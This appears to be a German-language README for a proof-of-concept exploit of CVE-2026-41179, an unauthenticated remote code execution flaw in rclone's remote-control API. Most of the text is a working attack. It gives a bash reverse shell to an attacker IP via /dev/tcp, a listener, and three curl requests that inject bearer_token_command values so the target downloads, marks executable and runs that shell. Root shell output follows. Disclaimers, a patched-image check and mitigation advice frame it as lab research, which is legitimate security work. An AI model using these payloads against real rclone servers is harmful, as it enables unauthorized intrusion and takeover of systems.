
PoC für CVE-2026-41179
⚠️ NUR ZU BILDUNGSZWECKEN Dieses Repository ist ausschließlich für Sicherheitsforschung, Bildung und autorisierte Laborumgebungen bestimmt. PSSec und die Mitwirkenden dieses Repositorys befürworten, unterstützen oder übernehmen keinerlei Verantwortung für unbefugte, illegale oder böswillige Nutzung der hierin enthaltenen Informationen, Codes oder Techniken. Durch die Nutzung dieses Repositorys erklären Sie sich damit einverstanden, dass Sie allein für Ihre Handlungen verantwortlich sind und dass Sie nur Systeme testen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben.
CVE-2026-41179 ist eine kritische Schwachstelle zur Remotecodeausführung (RCE) ohne Authentifizierung in der integrierten Fernsteuerungs-API (RC) von rclone, die die Versionen 1.48.0 bis 1.73.4 betrifft.
| Detail | Wert |
|---|
| CVE | CVE-2026-41179 |
| CVSS-Score | 9.8 (Kritisch) |
| Betroffene Versionen | rclone 1.48.0 – 1.73.4 |
| Gepatchte Version | rclone 1.73.5 |
| Komponente | RC API (/operations/fsinfo-Endpunkt) |
| Angriffsvektor | Netzwerk – keine Authentifizierung erforderlich |
rclone wird mit einer integrierten HTTP-Fernsteuerungsschnittstelle (rcd) ausgeliefert. Der Endpunkt /operations/fsinfo akzeptiert eine benutzerdefinierte fs=-Zeichenfolge, die geparst und verwendet wird, um ein Backend zu instanziieren – einschließlich des WebDAV-Backends. Das WebDAV-Backend unterstützt einen bearer_token_command-Parameter, der direkt an exec.Command() ohne Bereinigung übergeben wird. Da für diesen Endpunkt standardmäßig keine Authentifizierung erforderlich ist, kann ein nicht authentifizierter Angreifer eine beliebige Betriebssystembefehlausführung als der rclone-Prozessbenutzer auslösen.
Angriffskette in Kürze:
POST /operations/fsinfo (keine Authentifizierung)
→ rc.GetFs() parst die vom Angreifer kontrollierte fs=-Zeichenfolge
→ WebDAV-Backend wird mit Angreiferparametern instanziiert
→ bearer_token_command extrahiert
→ exec.Command() führt Betriebssystembefehl aus
→ RCE als rclone-Prozessbenutzer
CVE-2026-41179/
├── Dockerfile.rclone # Angreifbares rclone-Image (v1.69.3)
├── patched.Dockerfile.rclone # Gepatchtes rclone-Image (v1.73.5)
├── poc.sh # Reverse-Shell-Payload
└── instructions # Schritt-für-Schritt-Lab-Anleitung
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Erstellt einen Debian-slim-Container, der rclone v1.69.3 mit der RC API auf Port 5572 ausführt.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
Die RC API ist nun ohne Authentifizierung unter http://127.0.0.1:5572 erreichbar.
penelope -p 5555
# ODER
nc -lvnp 5555
Bearbeiten Sie poc.sh und setzen Sie Ihre Angreifer-IP und den Listening-Port:
#!/bin/bash
bash -i >& /dev/tcp/<angreifer-ip>/<listening-port> 0>&1
Führen Sie dies aus demselben Verzeichnis wie poc.sh aus:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<angreifer-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Überprüfen Sie Ihren Listener – Sie sollten eine Root-Shell vom Container erhalten:
[+] Reverse-Shell von f7697b831050~172.17.0.3-Linux-x86_64 empfangen
[+] Shell erfolgreich mit /usr/bin/script aktualisiert!
whoami
root
Wiederholen Sie die Schritte 1–8 mit dem gepatchten Image, um zu bestätigen, dass die Schwachstelle behoben ist:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Senden Sie dieselbe curl-Anfrage an Port 5573 – der Befehl sollte nicht ausgeführt werden.
rcd mit den Flags --rc-user und --rc-pass, um Anmeldeinformationen anzufordern.5572) über Firewall-Regeln – er sollte niemals gegenüber nicht vertrauenswürdigen Netzwerken freigegeben werden.--rc-no-auth=false (der neue Standard in gepatchten Versionen) in Startskripten.Dieses Repository wird ausschließlich zu Bildungs- und autorisierten Sicherheitsforschungszwecken bereitgestellt. Der Proof-of-Concept-Code demonstriert eine echte Schwachstelle in einer kontrollierten Docker-Lab-Umgebung.
PSSec und alle Mitwirkenden:
Die unbefugte Nutzung dieses Codes gegen Produktionssysteme oder Systeme, die Ihnen nicht gehören, kann gegen Computerbetrugs- und Cyberkriminalitätsgesetze in Ihrem Land verstoßen.
CVE-2026-41179 – Forschung von PSSec